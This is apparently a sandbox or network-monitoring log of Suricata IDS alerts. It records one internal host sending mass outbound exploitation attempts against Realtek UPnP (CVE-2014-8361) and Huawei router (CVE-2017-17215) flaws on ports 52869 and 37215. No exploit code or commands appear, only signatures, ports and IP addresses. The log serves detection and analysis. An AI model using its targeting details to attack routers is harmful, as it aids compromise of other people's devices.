07/20/24-23:01:42.945747	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44964	52869	192.168.2.23	77.249.102.196
07/20/24-23:01:00.634292	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	51864	37215	192.168.2.23	41.229.84.234
07/20/24-23:01:41.374418	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58308	52869	192.168.2.23	157.9.32.210
07/20/24-23:00:59.163619	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43154	37215	192.168.2.23	197.252.90.201
07/20/24-23:01:44.602081	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52140	52869	192.168.2.23	150.181.137.93
07/20/24-23:01:42.812448	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	52854	52869	192.168.2.23	219.68.37.27
07/20/24-23:01:08.582150	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60208	52869	192.168.2.23	189.28.183.134
07/20/24-23:01:43.938688	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	44104	52869	192.168.2.23	152.150.124.219
07/20/24-23:02:13.277683	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	52292	52869	192.168.2.23	31.110.77.22
07/20/24-23:01:08.634900	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	54028	52869	192.168.2.23	195.184.165.232
07/20/24-23:02:00.512136	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59352	52869	192.168.2.23	120.165.99.108
07/20/24-23:02:00.552327	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56838	52869	192.168.2.23	87.120.192.128
07/20/24-23:01:47.410893	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47218	52869	192.168.2.23	94.51.135.205
07/20/24-23:01:42.069870	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33706	52869	192.168.2.23	20.143.101.231
07/20/24-23:01:53.262556	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39514	52869	192.168.2.23	109.27.210.57
07/20/24-23:01:02.047411	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45312	37215	192.168.2.23	71.112.242.82
07/20/24-23:01:46.490827	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51232	52869	192.168.2.23	112.170.166.3
07/20/24-23:01:51.130270	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51168	52869	192.168.2.23	135.69.136.147
07/20/24-23:01:00.638418	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	40104	37215	192.168.2.23	157.63.197.170
07/20/24-23:01:02.059312	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	54822	37215	192.168.2.23	117.219.119.200
07/20/24-23:01:00.633642	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35680	37215	192.168.2.23	197.132.243.55
07/20/24-23:01:43.946379	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46328	52869	192.168.2.23	151.244.29.112
07/20/24-23:01:32.028836	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48510	37215	192.168.2.23	146.240.47.167
07/20/24-23:01:06.990535	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45656	37215	192.168.2.23	197.81.177.106
07/20/24-23:01:02.059312	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50708	37215	192.168.2.23	197.29.108.54
07/20/24-23:01:40.294677	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	48012	37215	192.168.2.23	113.91.253.130
07/20/24-23:01:46.423677	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	58000	52869	192.168.2.23	64.98.234.97
07/20/24-23:01:24.732773	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	53080	52869	192.168.2.23	23.131.141.174
07/20/24-23:01:24.889163	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55552	37215	192.168.2.23	197.216.241.164
07/20/24-23:01:44.881853	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	41344	52869	192.168.2.23	223.51.209.65
07/20/24-23:01:03.219817	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	34482	52869	192.168.2.23	80.176.127.107
07/20/24-23:01:27.666100	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56836	37215	192.168.2.23	20.160.208.40
07/20/24-23:01:44.295391	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48558	52869	192.168.2.23	139.2.152.124
07/20/24-23:01:01.219232	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	58748	52869	192.168.2.23	189.63.115.173
07/20/24-23:01:11.630769	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57592	37215	192.168.2.23	41.211.247.167
07/20/24-23:01:07.066373	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37724	37215	192.168.2.23	41.154.180.14
07/20/24-23:01:43.007032	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60640	52869	192.168.2.23	8.18.22.34
07/20/24-23:01:48.356835	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34734	52869	192.168.2.23	175.186.207.187
07/20/24-23:01:20.144672	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45890	37215	192.168.2.23	157.44.241.190
07/20/24-23:01:07.033766	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	60624	37215	192.168.2.23	41.252.100.49
07/20/24-23:01:20.140632	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	43374	37215	192.168.2.23	197.26.212.186
07/20/24-23:01:45.063335	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51140	52869	192.168.2.23	47.135.155.164
07/20/24-23:01:08.582150	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50930	52869	192.168.2.23	124.144.192.144
07/20/24-23:01:42.072139	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	56536	52869	192.168.2.23	113.116.9.186
07/20/24-23:01:45.878385	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50708	52869	192.168.2.23	190.134.62.33
07/20/24-23:01:45.574617	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45580	52869	192.168.2.23	166.254.78.153
07/20/24-23:01:59.707284	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55918	52869	192.168.2.23	137.0.161.120
07/20/24-23:01:42.786028	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	38260	52869	192.168.2.23	17.37.38.42
07/20/24-23:01:46.556921	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	50918	52869	192.168.2.23	27.31.121.159
07/20/24-23:01:47.808678	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51954	52869	192.168.2.23	133.83.21.166
07/20/24-23:01:51.358348	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57654	52869	192.168.2.23	195.45.218.64
07/20/24-23:01:11.816521	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33148	37215	192.168.2.23	165.8.237.202
07/20/24-23:01:42.944341	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	51422	52869	192.168.2.23	187.178.228.43
07/20/24-23:01:43.160906	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34986	52869	192.168.2.23	50.208.25.112
07/20/24-23:01:50.038268	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	51568	52869	192.168.2.23	166.125.46.208
07/20/24-23:01:41.443693	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	48548	52869	192.168.2.23	132.180.52.133
07/20/24-23:01:02.140869	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	59542	52869	192.168.2.23	75.207.187.133
07/20/24-23:01:31.976795	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39016	37215	192.168.2.23	157.98.109.246
07/20/24-23:01:46.471349	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42752	52869	192.168.2.23	173.232.109.220
07/20/24-23:01:40.320408	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	57214	37215	192.168.2.23	41.104.14.193
07/20/24-23:01:31.991548	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	49102	37215	192.168.2.23	157.161.202.23
07/20/24-23:01:27.708151	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54590	37215	192.168.2.23	81.184.225.73
07/20/24-23:01:01.406953	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	43978	52869	192.168.2.23	148.117.206.184
07/20/24-23:01:11.642449	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54306	37215	192.168.2.23	136.52.234.90
07/20/24-23:00:59.175742	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	39616	37215	192.168.2.23	157.134.191.30
07/20/24-23:01:52.425638	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	59232	52869	192.168.2.23	133.73.57.190
07/20/24-23:01:41.347676	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46104	52869	192.168.2.23	173.176.211.200
07/20/24-23:01:03.486619	TCP	2025132	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361	43862	52869	192.168.2.23	209.154.77.145
07/20/24-23:01:00.634089	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	38216	37215	192.168.2.23	197.235.150.198
07/20/24-23:01:42.612377	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	60004	52869	192.168.2.23	85.78.48.17
07/20/24-23:01:14.296756	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	45326	37215	192.168.2.23	202.108.222.223
07/20/24-23:01:20.593003	TCP	2831300	ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2	33050	52869	192.168.2.23	75.68.195.20
07/20/24-23:01:31.977603	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58014	37215	192.168.2.23	197.133.236.43
07/20/24-23:01:40.310207	TCP	2829579	ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215)	33310	37215	192.168.2.23	197.17.28.211

Suricata IDS Alerts

Timestamp	Protocol	SID	Signature	Source Port	Dest Port	Source IP	Dest IP
2024-07-20T23:01:18.378788+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35138	37215	192.168.2.23	197.213.7.238
2024-07-20T23:01:21.240985+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	46470	52869	192.168.2.23	64.86.139.164
2024-07-20T23:00:59.181164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44702	37215	192.168.2.23	221.83.41.173
2024-07-20T23:01:18.543930+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	52740	37215	192.168.2.23	149.227.100.108
2024-07-20T23:01:21.005202+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50400	52869	192.168.2.23	114.20.70.247
2024-07-20T23:01:21.107414+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59236	52869	192.168.2.23	34.184.40.220
2024-07-20T23:01:02.108705+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44728	37215	192.168.2.23	41.232.178.1
2024-07-20T23:01:00.658630+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	40708	37215	192.168.2.23	197.176.41.115
2024-07-20T23:01:19.867575+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59266	52869	192.168.2.23	135.23.236.194
2024-07-20T23:01:09.030401+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	33440	52869	192.168.2.23	135.23.236.194
2024-07-20T23:01:20.847594+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40048	52869	192.168.2.23	209.101.108.92
2024-07-20T23:01:21.281290+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42804	52869	192.168.2.23	177.27.5.34
2024-07-20T23:00:59.201622+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44596	37215	192.168.2.23	41.119.22.219
2024-07-20T23:01:00.658298+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	35120	37215	192.168.2.23	197.173.93.85
2024-07-20T23:00:59.218458+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	37938	37215	192.168.2.23	157.210.25.215
2024-07-20T23:00:59.206164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59138	37215	192.168.2.23	150.124.88.37
2024-07-20T23:01:21.558739+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	47360	52869	192.168.2.23	93.10.103.253
2024-07-20T23:01:09.081648+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40564	52869	192.168.2.23	129.27.232.7
2024-07-20T23:01:22.262887+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	52076	52869	192.168.2.23	141.31.223.242
2024-07-20T23:01:19.861229+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	40704	52869	192.168.2.23	87.1.160.57
2024-07-20T23:00:59.232786+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51490	37215	192.168.2.23	41.75.68.114
2024-07-20T23:00:59.164966+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36240	37215	192.168.2.23	157.231.240.156
2024-07-20T23:01:20.201073+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57304	37215	192.168.2.23	157.58.211.164
2024-07-20T23:01:02.088423+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	45562	37215	192.168.2.23	164.204.194.37
2024-07-20T23:01:09.206647+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44382	52869	192.168.2.23	108.144.159.228
2024-07-20T23:01:21.202997+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	50620	52869	192.168.2.23	152.136.236.137
2024-07-20T23:00:59.181164+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58398	37215	192.168.2.23	197.247.106.185
2024-07-20T23:01:21.978629+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57824	52869	192.168.2.23	43.227.14.32
2024-07-20T23:01:19.920436+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	51918	52869	192.168.2.23	105.234.100.63
2024-07-20T23:01:21.295537+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55444	52869	192.168.2.23	183.49.28.217
2024-07-20T23:01:21.559701+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	44326	52869	192.168.2.23	109.115.27.6
2024-07-20T23:00:59.186953+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	39616	37215	192.168.2.23	157.134.191.30
2024-07-20T23:01:25.607392+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	34588	52869	192.168.2.23	13.188.89.36
2024-07-20T23:01:21.014789+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	39280	52869	192.168.2.23	97.69.175.230
2024-07-20T23:01:21.194402+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	60530	37215	192.168.2.23	41.50.33.93
2024-07-20T23:01:21.177250+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	51646	37215	192.168.2.23	197.50.46.65
2024-07-20T23:00:59.223718+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	55620	37215	192.168.2.23	157.113.182.239
2024-07-20T23:01:18.265358+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58196	37215	192.168.2.23	197.77.131.53
2024-07-20T23:01:18.445147+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53230	37215	192.168.2.23	46.47.224.132
2024-07-20T23:01:18.252895+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	54222	37215	192.168.2.23	37.80.86.165
2024-07-20T23:01:00.658630+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	57288	37215	192.168.2.23	41.191.248.36
2024-07-20T23:01:20.383814+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45948	52869	192.168.2.23	122.204.212.245
2024-07-20T23:00:59.170218+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47450	37215	192.168.2.23	143.28.80.1
2024-07-20T23:01:00.658630+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59806	37215	192.168.2.23	197.99.9.223
2024-07-20T23:01:18.293486+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38628	37215	192.168.2.23	157.240.255.134
2024-07-20T23:01:20.862093+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37328	52869	192.168.2.23	25.108.103.192
2024-07-20T23:01:21.299570+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	47806	37215	192.168.2.23	157.143.234.224
2024-07-20T23:01:18.601452+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	34110	37215	192.168.2.23	41.81.198.30
2024-07-20T23:00:59.211994+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50040	37215	192.168.2.23	41.124.29.47
2024-07-20T23:01:08.919725+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	45992	52869	192.168.2.23	199.61.238.254
2024-07-20T23:01:20.835694+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	56652	52869	192.168.2.23	219.105.54.148
2024-07-20T23:01:18.361765+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42574	37215	192.168.2.23	41.240.149.129
2024-07-20T23:00:59.227759+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	59652	37215	192.168.2.23	41.240.87.211
2024-07-20T23:01:04.236014+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60634	52869	192.168.2.23	124.254.84.115
2024-07-20T23:00:59.203029+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44104	37215	192.168.2.23	41.123.176.91
2024-07-20T23:01:21.286674+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42622	52869	192.168.2.23	181.219.175.178
2024-07-20T23:01:20.204357+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42496	37215	192.168.2.23	157.145.57.110
2024-07-20T23:00:59.222385+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	58804	37215	192.168.2.23	157.251.206.76
2024-07-20T23:01:18.497886+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41354	37215	192.168.2.23	197.93.123.78
2024-07-20T23:01:09.027075+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	32880	52869	192.168.2.23	189.63.115.173
2024-07-20T23:01:21.129434+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	49530	52869	192.168.2.23	132.86.136.162
2024-07-20T23:00:59.201622+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44056	37215	192.168.2.23	158.165.91.44
2024-07-20T23:01:18.550419+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	38764	37215	192.168.2.23	60.176.144.80
2024-07-20T23:01:21.558641+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33796	37215	192.168.2.23	157.139.28.102
2024-07-20T23:01:00.657714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46764	37215	192.168.2.23	197.247.217.62
2024-07-20T23:01:21.946714+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	48956	37215	192.168.2.23	41.95.27.201
2024-07-20T23:01:02.095698+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33456	37215	192.168.2.23	117.206.232.47
2024-07-20T23:01:19.583414+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	54336	52869	192.168.2.23	24.167.37.167
2024-07-20T23:01:05.340054+0200	TCP	2403348	ET CINS Active Threat Intelligence Poor Reputation IP group 49	37215	34477	41.38.200.66	192.168.2.23
2024-07-20T23:01:19.826087+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	37134	52869	192.168.2.23	129.167.170.254
2024-07-20T23:01:18.397150+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	46632	37215	192.168.2.23	197.17.13.46
2024-07-20T23:00:59.180699+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44268	37215	192.168.2.23	197.187.1.61
2024-07-20T23:00:59.208769+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36304	37215	192.168.2.23	41.41.122.187
2024-07-20T23:01:02.068477+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	56422	37215	192.168.2.23	41.152.253.87
2024-07-20T23:01:21.676428+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60586	52869	192.168.2.23	13.188.89.36
2024-07-20T23:01:02.079114+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	53720	37215	192.168.2.23	157.43.220.26
2024-07-20T23:01:21.019040+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	55470	52869	192.168.2.23	143.198.233.204
2024-07-20T23:00:59.223718+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	50398	37215	192.168.2.23	157.174.150.26
2024-07-20T23:01:19.869088+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	57358	52869	192.168.2.23	218.167.11.188
2024-07-20T23:01:21.259313+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	60020	52869	192.168.2.23	195.64.245.14
2024-07-20T23:01:21.845388+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59650	52869	192.168.2.23	57.179.102.199
2024-07-20T23:01:02.119631+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41738	37215	192.168.2.23	41.105.49.77
2024-07-20T23:01:02.088423+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42542	37215	192.168.2.23	157.219.32.62
2024-07-20T23:01:19.347530+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	59766	52869	192.168.2.23	133.66.91.121
2024-07-20T23:01:00.649623+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	41368	37215	192.168.2.23	157.229.17.57
2024-07-20T23:01:11.815913+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	42574	37215	192.168.2.23	157.185.20.188
2024-07-20T23:01:19.861229+0200	TCP	2027339	ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound	42502	52869	192.168.2.23	155.42.58.223
2024-07-20T23:00:59.227759+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	36392	37215	192.168.2.23	157.153.207.206
2024-07-20T23:01:18.296192+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	44040	37215	192.168.2.23	41.242.31.133
2024-07-20T23:01:18.267356+0200	TCP	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	33462	37215	192.168.2.23	41.107.86.189
